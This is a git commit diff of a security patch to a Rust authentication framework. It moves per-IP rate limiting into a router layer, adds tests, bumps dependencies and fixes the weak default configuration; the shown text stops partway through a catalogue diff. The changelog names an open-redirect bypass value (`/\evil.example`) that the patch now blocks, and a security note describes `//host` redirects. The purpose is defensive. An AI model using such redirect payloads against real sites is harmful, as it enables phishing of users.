premiere passe secure fix après audit gitrust
EBO <eric.bouhana@softalys.com> committé le 2026-09-18 07:53
fb226e327fe0b91113f49e1a1876a42101341746
1 parent(s)
36 fichiers modifiés
+6268
-397
M
CHANGELOG.md
+35
-0
@@ -5,6 +5,41 @@ All notable changes to this project are documented in this file.
| 5 | 5 | The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/), |
| 6 | 6 | and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). |
| 7 | 7 | |
| 8 | +## [1.0.1] - 2026-09-18 — Security | |
| 9 | + | |
| 10 | +Patch de sécurité (pas de nouvelle API publique). Fenêtre d'adoption **14 jours** | |
| 11 | +pour les consommateurs ([`docs/RUSTWARDEN_EVOLUTION_PROCESS.md`](docs/RUSTWARDEN_EVOLUTION_PROCESS.md) §9). | |
| 12 | + | |
| 13 | +### Security | |
| 14 | + | |
| 15 | +- **E-3 / IP rate-limit** — `run()` sert via `into_make_service_with_connect_info` ; | |
| 16 | + layer `auth_ip_rate_limit` sur login, register, refresh, forgot-password, 2FA | |
| 17 | + verify et resend-verification. Le budget n'est plus global `auth:unknown`. | |
| 18 | +- **E-3 / TOTP** — plafond *somme* des tentatives par utilisateur (15 / 15 min) | |
| 19 | + au lieu de compter les challenges saturés ; anti-rejeu in-process du même | |
| 20 | + pas TOTP (TTL 90 s). Pas de migration `last_used_step` (RFC 0037). | |
| 21 | +- **C-7** — `JWT_SECRET` rejette le placeholder CLI | |
| 22 | + `REMPLACER_PAR_UNE_CLE_SECRETE_LONGUE` (égalité exacte, pas de `contains`). | |
| 23 | + `AdminConfig::validate` refuse `password` et | |
| 24 | + `REMPLACER_PAR_UN_MOT_DE_PASSE_FORT`. `.env.example` du wizard n'embarque plus | |
| 25 | + ces littéraux. | |
| 26 | +- **M-2** — `PasswordResetService::reset_password` applique | |
| 27 | + `validate_password_complexity` avant le hash et avant de consommer le token. | |
| 28 | +- **M-3** — limiteurs reset mot de passe / validation email partagés (`OnceLock`) | |
| 29 | + au lieu d'une instance par requête ; éviction LRU au cap au lieu d'un 429 sur | |
| 30 | + une clé neuve. | |
| 31 | +- **M-8** — vérification des backup codes TOTP dans `spawn_blocking`. | |
| 32 | +- **Force-2FA / lookup / blacklist** — fail-closed : erreur DB TOTP ou lookup | |
| 33 | + utilisateur → 503 ; user absent → non authentifié ; blacklist JWT en erreur → | |
| 34 | + refus. Plus de `unwrap_or(false)` / `is_ok_and` fail-open sur ces chemins. | |
| 35 | +- **Admin bootstrap** — `AdminConfig::validate` + `PasswordRules` uniquement sur | |
| 36 | + le chemin de *création* (un `ADMIN_PASSWORD` faible résiduel ne casse plus le | |
| 37 | + boot si un admin existe déjà). | |
| 38 | +- **sanitize_redirect** — normalisation `\` → `/` pour bloquer `/\evil.example`. | |
| 39 | +- **Dépendances** — `bcrypt` 0.19.3, `rustls` 0.23.45, `h2` 0.4.19 (lockfile). | |
| 40 | +- **PostgreSQL dev** — bind `127.0.0.1:5432` ; `POSTGRES_PASSWORD` obligatoire | |
| 41 | + (`:?`, plus de fallback `pass3ord`). | |
| 42 | + | |
| 8 | 43 | ## [Unreleased] |
| 9 | 44 | |
| 10 | 45 | ### Fixed |
M
Cargo.lock
+50
-25
@@ -75,7 +75,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
| 75 | 75 | checksum = "b169f7a6d4742236a0a00c541b845991d0ac43e546831af1249753ab4c3aa3a0" |
| 76 | 76 | dependencies = [ |
| 77 | 77 | "cfg-if", |
| 78 | - "cipher", | |
| 78 | + "cipher 0.4.4", | |
| 79 | 79 | "cpufeatures 0.2.17", |
| 80 | 80 | ] |
| 81 | 81 |
@@ -87,7 +87,7 @@ checksum = "831010a0f742e1209b3bcea8fab6a8e149051ba6099432c8cb2cc117dec3ead1"
| 87 | 87 | dependencies = [ |
| 88 | 88 | "aead", |
| 89 | 89 | "aes", |
| 90 | - "cipher", | |
| 90 | + "cipher 0.4.4", | |
| 91 | 91 | "ctr", |
| 92 | 92 | "ghash", |
| 93 | 93 | "subtle", |
@@ -647,6 +647,12 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
| 647 | 647 | checksum = "72b3254f16251a8381aa12e40e3c4d2f0199f8c6508fbecb9d91f575e0fbb8c6" |
| 648 | 648 | |
| 649 | 649 | [[package]] |
| 650 | +name = "base64" | |
| 651 | +version = "0.23.1" | |
| 652 | +source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 653 | +checksum = "ac07cdecf99051d9a5238b80f35af32cdeba5b336e55d957b318b50137e18da5" | |
| 654 | + | |
| 655 | +[[package]] | |
| 650 | 656 | name = "base64ct" |
| 651 | 657 | version = "1.8.3" |
| 652 | 658 | source = "registry+https://github.com/rust-lang/crates.io-index" |
@@ -663,11 +669,11 @@ dependencies = [
| 663 | 669 | |
| 664 | 670 | [[package]] |
| 665 | 671 | name = "bcrypt" |
| 666 | -version = "0.19.0" | |
| 672 | +version = "0.19.3" | |
| 667 | 673 | source = "registry+https://github.com/rust-lang/crates.io-index" |
| 668 | -checksum = "523ab528ce3a7ada6597f8ccf5bd8d85ebe26d5edf311cad4d1d3cfb2d357ac6" | |
| 674 | +checksum = "a0cd0bd35a28836d528d2b58ad499bc3c5641d59379421b1be9eeb0c2f2b912a" | |
| 669 | 675 | dependencies = [ |
| 670 | - "base64 0.22.1", | |
| 676 | + "base64 0.23.1", | |
| 671 | 677 | "blowfish", |
| 672 | 678 | "getrandom 0.4.2", |
| 673 | 679 | "subtle", |
@@ -735,12 +741,12 @@ dependencies = [
| 735 | 741 | |
| 736 | 742 | [[package]] |
| 737 | 743 | name = "blowfish" |
| 738 | -version = "0.9.1" | |
| 744 | +version = "0.10.0" | |
| 739 | 745 | source = "registry+https://github.com/rust-lang/crates.io-index" |
| 740 | -checksum = "e412e2cd0f2b2d93e02543ceae7917b3c70331573df19ee046bcbc35e45e87d7" | |
| 746 | +checksum = "62ce3946557b35e71d1bbe07ec385073ce9eda05043f95de134eb578fcf1a298" | |
| 741 | 747 | dependencies = [ |
| 742 | 748 | "byteorder", |
| 743 | - "cipher", | |
| 749 | + "cipher 0.5.2", | |
| 744 | 750 | ] |
| 745 | 751 | |
| 746 | 752 | [[package]] |
@@ -888,7 +894,17 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
| 888 | 894 | checksum = "773f3b9af64447d2ce9850330c473515014aa235e6a783b02db81ff39e4a3dad" |
| 889 | 895 | dependencies = [ |
| 890 | 896 | "crypto-common 0.1.7", |
| 891 | - "inout", | |
| 897 | + "inout 0.1.4", | |
| 898 | +] | |
| 899 | + | |
| 900 | +[[package]] | |
| 901 | +name = "cipher" | |
| 902 | +version = "0.5.2" | |
| 903 | +source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 904 | +checksum = "e8cf2a2c93cd704877c0858356ed03480ff301ee950b43f1cbe4573b088bfa6c" | |
| 905 | +dependencies = [ | |
| 906 | + "crypto-common 0.2.2", | |
| 907 | + "inout 0.2.2", | |
| 892 | 908 | ] |
| 893 | 909 | |
| 894 | 910 | [[package]] |
@@ -1188,7 +1204,7 @@ version = "0.9.2"
| 1188 | 1204 | source = "registry+https://github.com/rust-lang/crates.io-index" |
| 1189 | 1205 | checksum = "0369ee1ad671834580515889b80f2ea915f23b8be8d0daa4bbaf2ac5c7590835" |
| 1190 | 1206 | dependencies = [ |
| 1191 | - "cipher", | |
| 1207 | + "cipher 0.4.4", | |
| 1192 | 1208 | ] |
| 1193 | 1209 | |
| 1194 | 1210 | [[package]] |
@@ -1625,7 +1641,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
| 1625 | 1641 | checksum = "39cab71617ae0d63f51a36d69f866391735b51691dbda63cf6f96d042b63efeb" |
| 1626 | 1642 | dependencies = [ |
| 1627 | 1643 | "libc", |
| 1628 | - "windows-sys 0.61.2", | |
| 1644 | + "windows-sys 0.59.0", | |
| 1629 | 1645 | ] |
| 1630 | 1646 | |
| 1631 | 1647 | [[package]] |
@@ -2011,9 +2027,9 @@ dependencies = [
| 2011 | 2027 | |
| 2012 | 2028 | [[package]] |
| 2013 | 2029 | name = "h2" |
| 2014 | -version = "0.4.13" | |
| 2030 | +version = "0.4.19" | |
| 2015 | 2031 | source = "registry+https://github.com/rust-lang/crates.io-index" |
| 2016 | -checksum = "2f44da3a8150a6703ed5d34e164b875fd14c2cdab9af1252a9a1020bde2bdc54" | |
| 2032 | +checksum = "ef8e5e5a340588f4452631496976cf8636d4a7ecf600239fdc27615d2530bc16" | |
| 2017 | 2033 | dependencies = [ |
| 2018 | 2034 | "atomic-waker", |
| 2019 | 2035 | "bytes", |
@@ -2324,7 +2340,7 @@ dependencies = [
| 2324 | 2340 | "libc", |
| 2325 | 2341 | "percent-encoding", |
| 2326 | 2342 | "pin-project-lite", |
| 2327 | - "socket2 0.6.3", | |
| 2343 | + "socket2 0.5.10", | |
| 2328 | 2344 | "system-configuration", |
| 2329 | 2345 | "tokio", |
| 2330 | 2346 | "tower-layer", |
@@ -2551,6 +2567,15 @@ dependencies = [
| 2551 | 2567 | ] |
| 2552 | 2568 | |
| 2553 | 2569 | [[package]] |
| 2570 | +name = "inout" | |
| 2571 | +version = "0.2.2" | |
| 2572 | +source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 2573 | +checksum = "4250ce6452e92010fdf7268ccc5d14faa80bb12fc741938534c58f16804e03c7" | |
| 2574 | +dependencies = [ | |
| 2575 | + "hybrid-array", | |
| 2576 | +] | |
| 2577 | + | |
| 2578 | +[[package]] | |
| 2554 | 2579 | name = "ipnet" |
| 2555 | 2580 | version = "2.12.0" |
| 2556 | 2581 | source = "registry+https://github.com/rust-lang/crates.io-index" |
@@ -3027,7 +3052,7 @@ version = "0.50.3"
| 3027 | 3052 | source = "registry+https://github.com/rust-lang/crates.io-index" |
| 3028 | 3053 | checksum = "7957b9740744892f114936ab4a57b3f487491bbeafaf8083688b16841a4240e5" |
| 3029 | 3054 | dependencies = [ |
| 3030 | - "windows-sys 0.61.2", | |
| 3055 | + "windows-sys 0.59.0", | |
| 3031 | 3056 | ] |
| 3032 | 3057 | |
| 3033 | 3058 | [[package]] |
@@ -3127,7 +3152,7 @@ version = "5.0.0"
| 3127 | 3152 | source = "registry+https://github.com/rust-lang/crates.io-index" |
| 3128 | 3153 | checksum = "51e219e79014df21a225b1860a479e2dcd7cbd9130f4defd4bd0e191ea31d67d" |
| 3129 | 3154 | dependencies = [ |
| 3130 | - "base64 0.22.1", | |
| 3155 | + "base64 0.21.7", | |
| 3131 | 3156 | "chrono", |
| 3132 | 3157 | "getrandom 0.2.17", |
| 3133 | 3158 | "http", |
@@ -3653,7 +3678,7 @@ dependencies = [
| 3653 | 3678 | "quinn-udp", |
| 3654 | 3679 | "rustc-hash", |
| 3655 | 3680 | "rustls", |
| 3656 | - "socket2 0.6.3", | |
| 3681 | + "socket2 0.5.10", | |
| 3657 | 3682 | "thiserror 2.0.18", |
| 3658 | 3683 | "tokio", |
| 3659 | 3684 | "tracing", |
@@ -3690,7 +3715,7 @@ dependencies = [
| 3690 | 3715 | "cfg_aliases", |
| 3691 | 3716 | "libc", |
| 3692 | 3717 | "once_cell", |
| 3693 | - "socket2 0.6.3", | |
| 3718 | + "socket2 0.5.10", | |
| 3694 | 3719 | "tracing", |
| 3695 | 3720 | "windows-sys 0.59.0", |
| 3696 | 3721 | ] |
@@ -4110,14 +4135,14 @@ dependencies = [
| 4110 | 4135 | "errno", |
| 4111 | 4136 | "libc", |
| 4112 | 4137 | "linux-raw-sys", |
| 4113 | - "windows-sys 0.61.2", | |
| 4138 | + "windows-sys 0.59.0", | |
| 4114 | 4139 | ] |
| 4115 | 4140 | |
| 4116 | 4141 | [[package]] |
| 4117 | 4142 | name = "rustls" |
| 4118 | -version = "0.23.37" | |
| 4143 | +version = "0.23.45" | |
| 4119 | 4144 | source = "registry+https://github.com/rust-lang/crates.io-index" |
| 4120 | -checksum = "758025cb5fccfd3bc2fd74708fd4682be41d99e5dff73c377c0646c6012c73a4" | |
| 4145 | +checksum = "0d41d731c7d2f962d1ccc364cec258de3c0e93b38c2fb3ba97ac74513048d634" | |
| 4121 | 4146 | dependencies = [ |
| 4122 | 4147 | "once_cell", |
| 4123 | 4148 | "ring", |
@@ -4139,9 +4164,9 @@ dependencies = [
| 4139 | 4164 | |
| 4140 | 4165 | [[package]] |
| 4141 | 4166 | name = "rustls-webpki" |
| 4142 | -version = "0.103.13" | |
| 4167 | +version = "0.103.15" | |
| 4143 | 4168 | source = "registry+https://github.com/rust-lang/crates.io-index" |
| 4144 | -checksum = "61c429a8649f110dddef65e2a5ad240f747e85f7758a6bccc7e5777bd33f756e" | |
| 4169 | +checksum = "f3c3cf1d8b1e7d4927e2d154c3fcb02979afb9939629c62cd9048d4f07b60ac2" | |
| 4145 | 4170 | dependencies = [ |
| 4146 | 4171 | "ring", |
| 4147 | 4172 | "rustls-pki-types", |
@@ -5278,10 +5303,10 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
| 5278 | 5303 | checksum = "82a72c767771b47409d2345987fda8628641887d5466101319899796367354a0" |
| 5279 | 5304 | dependencies = [ |
| 5280 | 5305 | "fastrand", |
| 5281 | - "getrandom 0.4.2", | |
| 5306 | + "getrandom 0.3.4", | |
| 5282 | 5307 | "once_cell", |
| 5283 | 5308 | "rustix", |
| 5284 | - "windows-sys 0.61.2", | |
| 5309 | + "windows-sys 0.59.0", | |
| 5285 | 5310 | ] |
| 5286 | 5311 | |
| 5287 | 5312 | [[package]] |
M
README.md
+3
-0
@@ -102,6 +102,9 @@ Il genere un projet autonome avec :
| 102 | 102 | ```bash |
| 103 | 103 | # Apres generation |
| 104 | 104 | cd mon-app |
| 105 | +# PostgreSQL n'ecoute que 127.0.0.1:5432. Copier database/env.sample vers | |
| 106 | +# database/.env et definir POSTGRES_PASSWORD (obligatoire, pas de repli). | |
| 107 | +cp database/env.sample database/.env | |
| 105 | 108 | cd database && docker compose up -d && cd .. |
| 106 | 109 | cargo run |
| 107 | 110 | # Ouvrir http://localhost:3000 |
M
crates/rustwarden-core/src/app.rs
+13
-3
@@ -106,6 +106,12 @@ impl RustwardenApp {
| 106 | 106 | } |
| 107 | 107 | |
| 108 | 108 | /// Get the assembled router (for advanced usage, e.g. testing). |
| 109 | + /// | |
| 110 | + /// Callers who serve this router themselves **must** use | |
| 111 | + /// [`axum::Router::into_make_service_with_connect_info`] with | |
| 112 | + /// [`std::net::SocketAddr`]. Without that extension, the auth IP | |
| 113 | + /// rate-limit cannot see the peer address and keys every request as | |
| 114 | + /// `unknown`. [`RustwardenApp::run`] does this automatically. | |
| 109 | 115 | pub fn into_router(self) -> Router { |
| 110 | 116 | self.router |
| 111 | 117 | } |
@@ -114,9 +120,13 @@ impl RustwardenApp {
| 114 | 120 | pub async fn run(self) -> anyhow::Result<()> { |
| 115 | 121 | let listener = tokio::net::TcpListener::bind(&self.address).await?; |
| 116 | 122 | tracing::info!("Server listening on http://{}", self.address); |
| 117 | - axum::serve(listener, self.router) | |
| 118 | - .await | |
| 119 | - .map_err(|e| anyhow::anyhow!("Server error: {}", e)) | |
| 123 | + axum::serve( | |
| 124 | + listener, | |
| 125 | + self.router | |
| 126 | + .into_make_service_with_connect_info::<std::net::SocketAddr>(), | |
| 127 | + ) | |
| 128 | + .await | |
| 129 | + .map_err(|e| anyhow::anyhow!("Server error: {}", e)) | |
| 120 | 130 | } |
| 121 | 131 | } |
| 122 | 132 |
M
crates/rustwarden-core/src/auth/handlers.rs
+4
-30
@@ -284,17 +284,12 @@ impl IntoResponse for EmailVerifiedTemplate {
| 284 | 284 | /// ``` |
| 285 | 285 | pub async fn login( |
| 286 | 286 | State(db): State<DatabaseConnection>, |
| 287 | - headers: HeaderMap, | |
| 287 | + _headers: HeaderMap, | |
| 288 | 288 | _user_session: Session, |
| 289 | 289 | Extension(auth_config): Extension<Arc<AuthConfig>>, |
| 290 | 290 | hooks: Option<Extension<Arc<dyn RustwardenHooks>>>, |
| 291 | 291 | Json(payload): Json<LoginRequest>, |
| 292 | 292 | ) -> Result<Response, AppError> { |
| 293 | - // SEC-C2: Per-IP rate limiting | |
| 294 | - if let Err(resp) = crate::middleware::rate_limit::check_auth_rate_limit(&headers) { | |
| 295 | - return Ok(resp); | |
| 296 | - } | |
| 297 | - | |
| 298 | 293 | tracing::info!("Login request received for user: {}", payload.username); |
| 299 | 294 | |
| 300 | 295 | // Validate input |
@@ -966,17 +961,10 @@ pub async fn logout(
| 966 | 961 | /// ``` |
| 967 | 962 | pub async fn refresh_token( |
| 968 | 963 | State(db): State<DatabaseConnection>, |
| 969 | - headers: HeaderMap, | |
| 964 | + _headers: HeaderMap, | |
| 970 | 965 | Extension(auth_config): Extension<Arc<AuthConfig>>, |
| 971 | 966 | Json(payload): Json<RefreshRequest>, |
| 972 | 967 | ) -> Result<Response, AppError> { |
| 973 | - // SEC-C2: Per-IP rate limiting | |
| 974 | - if let Err(_resp) = crate::middleware::rate_limit::check_auth_rate_limit(&headers) { | |
| 975 | - return Err(AppError::Validation( | |
| 976 | - "Too many requests. Please try again later.".to_string(), | |
| 977 | - )); | |
| 978 | - } | |
| 979 | - | |
| 980 | 968 | // Validate input |
| 981 | 969 | payload.validate().map_err(|e| { |
| 982 | 970 | tracing::warn!("Refresh request validation failed: {}", e); |
@@ -1136,16 +1124,9 @@ mod tests {
| 1136 | 1124 | /// ``` |
| 1137 | 1125 | pub async fn forgot_password( |
| 1138 | 1126 | State(db): State<DatabaseConnection>, |
| 1139 | - headers: HeaderMap, | |
| 1127 | + _headers: HeaderMap, | |
| 1140 | 1128 | Json(payload): Json<ForgotPasswordRequest>, |
| 1141 | 1129 | ) -> Result<impl IntoResponse, AppError> { |
| 1142 | - // SEC-C2: Per-IP rate limiting | |
| 1143 | - if let Err(_resp) = crate::middleware::rate_limit::check_auth_rate_limit(&headers) { | |
| 1144 | - return Err(AppError::Validation( | |
| 1145 | - "Too many requests. Please try again later.".to_string(), | |
| 1146 | - )); | |
| 1147 | - } | |
| 1148 | - | |
| 1149 | 1130 | // Validate email format |
| 1150 | 1131 | payload |
| 1151 | 1132 | .validate() |
@@ -1423,17 +1404,10 @@ pub async fn resend_verification_by_username(
| 1423 | 1404 | /// - Email verification is required |
| 1424 | 1405 | pub async fn register( |
| 1425 | 1406 | State(db): State<DatabaseConnection>, |
| 1426 | - headers: HeaderMap, | |
| 1407 | + _headers: HeaderMap, | |
| 1427 | 1408 | hooks: Option<Extension<Arc<dyn RustwardenHooks>>>, |
| 1428 | 1409 | Json(payload): Json<RegisterRequest>, |
| 1429 | 1410 | ) -> Result<Json<RegisterResponse>, AppError> { |
| 1430 | - // SEC-C2: Per-IP rate limiting | |
| 1431 | - if crate::middleware::rate_limit::check_auth_rate_limit(&headers).is_err() { | |
| 1432 | - return Err(AppError::Validation( | |
| 1433 | - "Too many requests. Please try again later.".to_string(), | |
| 1434 | - )); | |
| 1435 | - } | |
| 1436 | - | |
| 1437 | 1411 | tracing::info!( |
| 1438 | 1412 | "Registration request received for username: {}", |
| 1439 | 1413 | payload.username |
M
crates/rustwarden-core/src/auth/routes.rs
+145
-14
@@ -33,24 +33,15 @@ use crate::auth::handlers;
| 33 | 33 | /// .await?; |
| 34 | 34 | /// ``` |
| 35 | 35 | pub fn auth_api_routes() -> Router<DatabaseConnection> { |
| 36 | - Router::new() | |
| 36 | + let limited = Router::new() | |
| 37 | 37 | .route("/api/v1/auth/login", post(handlers::login)) |
| 38 | 38 | .route("/api/v1/auth/register", post(handlers::register)) |
| 39 | 39 | .route("/api/v1/auth/refresh", post(handlers::refresh_token)) |
| 40 | - .route("/api/v1/auth/logout", post(handlers::logout)) | |
| 41 | - .route("/api/v1/auth/me", get(handlers::get_current_user)) | |
| 42 | 40 | .route( |
| 43 | 41 | "/api/v1/auth/forgot-password", |
| 44 | 42 | post(handlers::forgot_password), |
| 45 | 43 | ) |
| 46 | - .route( | |
| 47 | - "/api/v1/auth/reset-password", | |
| 48 | - post(handlers::reset_password), | |
| 49 | - ) | |
| 50 | - .route( | |
| 51 | - "/api/v1/auth/verify-email/{token}", | |
| 52 | - get(handlers::verify_email), | |
| 53 | - ) | |
| 44 | + .route("/api/v1/auth/2fa/verify", post(handlers::verify_2fa)) | |
| 54 | 45 | .route( |
| 55 | 46 | "/api/v1/auth/resend-verification", |
| 56 | 47 | post(handlers::resend_verification), |
@@ -59,14 +50,38 @@ pub fn auth_api_routes() -> Router<DatabaseConnection> {
| 59 | 50 | "/api/v1/auth/resend-verification/by-username", |
| 60 | 51 | post(handlers::resend_verification_by_username), |
| 61 | 52 | ) |
| 62 | - .route("/api/v1/auth/2fa/verify", post(handlers::verify_2fa)) | |
| 53 | + .layer(axum::middleware::from_fn( | |
| 54 | + crate::middleware::rate_limit::auth_ip_rate_limit, | |
| 55 | + )); | |
| 56 | + | |
| 57 | + let unlimited = Router::new() | |
| 58 | + .route("/api/v1/auth/logout", post(handlers::logout)) | |
| 59 | + .route("/api/v1/auth/me", get(handlers::get_current_user)) | |
| 60 | + .route( | |
| 61 | + "/api/v1/auth/reset-password", | |
| 62 | + post(handlers::reset_password), | |
| 63 | + ) | |
| 64 | + .route( | |
| 65 | + "/api/v1/auth/verify-email/{token}", | |
| 66 | + get(handlers::verify_email), | |
| 67 | + ); | |
| 68 | + | |
| 69 | + limited.merge(unlimited) | |
| 63 | 70 | } |
| 64 | 71 | |
| 65 | 72 | #[cfg(test)] |
| 66 | 73 | mod tests { |
| 67 | 74 | use super::auth_api_routes; |
| 68 | - use axum::{Json, Router, routing::get}; | |
| 69 | - use sea_orm::DatabaseConnection; | |
| 75 | + use axum::{ | |
| 76 | + Json, Router, | |
| 77 | + body::Body, | |
| 78 | + extract::connect_info::MockConnectInfo, | |
| 79 | + http::{Request, StatusCode}, | |
| 80 | + routing::get, | |
| 81 | + }; | |
| 82 | + use sea_orm::{DatabaseBackend, DatabaseConnection, MockDatabase}; | |
| 83 | + use std::net::SocketAddr; | |
| 84 | + use tower::ServiceExt; | |
| 70 | 85 | |
| 71 | 86 | /// Mirrors the protected handler the CLI scaffolds into headless |
| 72 | 87 | /// projects. Kept in sync so the generated code's interface (the |
@@ -89,4 +104,120 @@ mod tests {
| 89 | 104 | let _router: Router<DatabaseConnection> = |
| 90 | 105 | auth_api_routes().merge(Router::new().route("/api/whoami", get(whoami))); |
| 91 | 106 | } |
| 107 | + | |
| 108 | + /// TEST-NET-3 address so this budget never shares `auth:unknown` with | |
| 109 | + /// other tests that call `check_auth_rate_limit` without ConnectInfo. | |
| 110 | + fn testnet_peer() -> SocketAddr { | |
| 111 | + SocketAddr::from(([203, 0, 113, 1], 12345)) | |
| 112 | + } | |
| 113 | + | |
| 114 | + fn login_request() -> Request<Body> { | |
| 115 | + Request::builder() | |
| 116 | + .method("POST") | |
| 117 | + .uri("/api/v1/auth/login") | |
| 118 | + .header("content-type", "application/json") | |
| 119 | + .body(Body::from(r#"{"username":"u","password":"p"}"#)) | |
| 120 | + .expect("login request") | |
| 121 | + } | |
| 122 | + | |
| 123 | + fn logout_request() -> Request<Body> { | |
| 124 | + Request::builder() | |
| 125 | + .method("POST") | |
| 126 | + .uri("/api/v1/auth/logout") | |
| 127 | + .body(Body::empty()) | |
| 128 | + .expect("logout request") | |
| 129 | + } | |
| 130 | + | |
| 131 | + fn verify_2fa_request() -> Request<Body> { | |
| 132 | + Request::builder() | |
| 133 | + .method("POST") | |
| 134 | + .uri("/api/v1/auth/2fa/verify") | |
| 135 | + .header("content-type", "application/json") | |
| 136 | + .body(Body::from(r#"{"challenge_token":"dummy","code":"123456"}"#)) | |
| 137 | + .expect("2fa verify request") | |
| 138 | + } | |
| 139 | + | |
| 140 | + fn auth_app_with_peer(peer: SocketAddr) -> Router { | |
| 141 | + let db = MockDatabase::new(DatabaseBackend::Postgres).into_connection(); | |
| 142 | + auth_api_routes() | |
| 143 | + .with_state(db) | |
| 144 | + .layer(MockConnectInfo(peer)) | |
| 145 | + } | |
| 146 | + | |
| 147 | + #[tokio::test] | |
| 148 | + async fn auth_limiter_separates_two_connect_ips() { | |
| 149 | + let app_ip1 = auth_app_with_peer(testnet_peer()); | |
| 150 | + let app_ip2 = auth_app_with_peer(SocketAddr::from(([198, 51, 100, 1], 12345))); | |
| 151 | + | |
| 152 | + for i in 1..=10 { | |
| 153 | + let resp = app_ip1 | |
| 154 | + .clone() | |
| 155 | + .oneshot(login_request()) | |
| 156 | + .await | |
| 157 | + .expect("oneshot"); | |
| 158 | + assert_ne!( | |
| 159 | + resp.status(), | |
| 160 | + StatusCode::TOO_MANY_REQUESTS, | |
| 161 | + "request {i}/10 from 203.0.113.1 must not be 429" | |
| 162 | + ); | |
| 163 | + } | |
| 164 | + | |
| 165 | + let eleventh = app_ip1 | |
| 166 | + .clone() | |
| 167 | + .oneshot(login_request()) | |
| 168 | + .await | |
| 169 | + .expect("oneshot"); | |
| 170 | + assert_eq!( | |
| 171 | + eleventh.status(), | |
| 172 | + StatusCode::TOO_MANY_REQUESTS, | |
| 173 | + "11th request from 203.0.113.1 must be 429" | |
| 174 | + ); | |
| 175 | + let retry_after = eleventh.headers().get("retry-after"); | |
| 176 | + assert!( | |
| 177 | + retry_after.is_some_and(|v| !v.as_bytes().is_empty()), | |
| 178 | + "429 must carry a non-empty Retry-After header" | |
| 179 | + ); | |
| 180 | + | |
| 181 | + let logout = app_ip1.oneshot(logout_request()).await.expect("oneshot"); | |
| 182 | + assert_ne!( | |
| 183 | + logout.status(), | |
| 184 | + StatusCode::TOO_MANY_REQUESTS, | |
| 185 | + "unlimited /logout must not be 429 when the limited login budget is exhausted" | |
| 186 | + ); | |
| 187 | + | |
| 188 | + let other = app_ip2.oneshot(login_request()).await.expect("oneshot"); | |
| 189 | + assert_ne!( | |
| 190 | + other.status(), | |
| 191 | + StatusCode::TOO_MANY_REQUESTS, | |
| 192 | + "first request from 198.51.100.1 must not share 203.0.113.1's exhausted budget" | |
| 193 | + ); | |
| 194 | + } | |
| 195 | + | |
| 196 | + /// Distinct TEST-NET-1 IP so this budget never collides with | |
| 197 | + /// `auth_limiter_separates_two_connect_ips` (203.0.113.1 / 198.51.100.1) | |
| 198 | + /// on the process-wide OnceLock limiter. | |
| 199 | + #[tokio::test] | |
| 200 | + async fn auth_limiter_applies_to_2fa_verify() { | |
| 201 | + let app = auth_app_with_peer(SocketAddr::from(([192, 0, 2, 80], 12345))); | |
| 202 | + | |
| 203 | + for i in 1..=10 { | |
| 204 | + let resp = app | |
| 205 | + .clone() | |
| 206 | + .oneshot(verify_2fa_request()) | |
| 207 | + .await | |
| 208 | + .expect("oneshot"); | |
| 209 | + assert_ne!( | |
| 210 | + resp.status(), | |
| 211 | + StatusCode::TOO_MANY_REQUESTS, | |
| 212 | + "request {i}/10 to /2fa/verify from 192.0.2.80 must not be 429" | |
| 213 | + ); | |
| 214 | + } | |
| 215 | + | |
| 216 | + let eleventh = app.oneshot(verify_2fa_request()).await.expect("oneshot"); | |
| 217 | + assert_eq!( | |
| 218 | + eleventh.status(), | |
| 219 | + StatusCode::TOO_MANY_REQUESTS, | |
| 220 | + "11th request to /2fa/verify from 192.0.2.80 must be 429" | |
| 221 | + ); | |
| 222 | + } | |
| 92 | 223 | } |
M
crates/rustwarden-core/src/bin/screen-select/catalogue.rs
+366
-162
@@ -88,161 +88,345 @@ pub fn by_key(key: &str) -> Option<&'static Functionality> {
| 88 | 88 | } |
| 89 | 89 | |
| 90 | 90 | const CATALOGUE: &[Functionality] = &[ |
| 91 | - Functionality { key: "authentication", label: "Authentication", always: true, screens: &[ | |
| 92 | - Screen { name: "Login", suggested_route: "/login", channel: Channel::Browser, auth_level: AuthLevel::Public, | |
| 93 | - core_methods: "AuthService, JwtService, POST /api/v1/auth/login", io: "form login → cookie JWT / challenge 2FA", | |
| 94 | - security_notes: &[ | |
| 95 | - "redirect post-login : n'autoriser qu'un chemin relatif same-origin (rejeter les URL absolues et `//host`) — bloque l'open redirect `?redirect=`", | |
| 96 | - "flux public : ne pas divulguer si l'identifiant/email existe (message d'échec générique)", | |
| 97 | - ] }, | |
| 98 | - ]}, | |
| 99 | - Functionality { key: "registration", label: "Registration", always: false, screens: &[ | |
| 100 | - Screen { name: "Register", suggested_route: "/register", channel: Channel::Browser, auth_level: AuthLevel::Public, | |
| 101 | - core_methods: "UserService, AppSettingsService(allow_registration), POST /api/v1/auth/register", io: "form inscription", | |
| 102 | - security_notes: &[ | |
| 103 | - "respecter `allow_registration` (403 si désactivé) ; valider/normaliser l'email côté serveur", | |
| 104 | - "flux public : ne pas révéler qu'un email est déjà enregistré", | |
| 105 | - ] }, | |
| 106 | - ]}, | |
| 107 | - Functionality { key: "password_reset", label: "PasswordReset", always: false, screens: &[ | |
| 108 | - Screen { name: "ForgotPassword", suggested_route: "/forgot-password", channel: Channel::Browser, auth_level: AuthLevel::Public, | |
| 109 | - core_methods: "PasswordResetService, POST /api/v1/auth/forgot-password", io: "email → lien reset", | |
| 110 | - security_notes: &[ | |
| 111 | - "réponse identique que l'email existe ou non (anti-énumération)", | |
| 112 | - ] }, | |
| 113 | - Screen { name: "ResetPassword", suggested_route: "/reset-password", channel: Channel::Browser, auth_level: AuthLevel::Public, | |
| 114 | - core_methods: "PasswordResetService, POST /api/v1/auth/reset-password", io: "token + nouveau mdp", | |
| 115 | - security_notes: &[ | |
| 116 | - "le token ne doit JAMAIS être interpolé dans un `<script>` : le passer par un attribut `data-*` et le lire via `dataset` (l'escaping HTML d'Askama n'échappe pas le contexte JS ni le backslash)", | |
| 117 | - "consommer le token en un seul usage ; ne pas confirmer si le token est valide avant soumission", | |
| 118 | - ] }, | |
| 119 | - ]}, | |
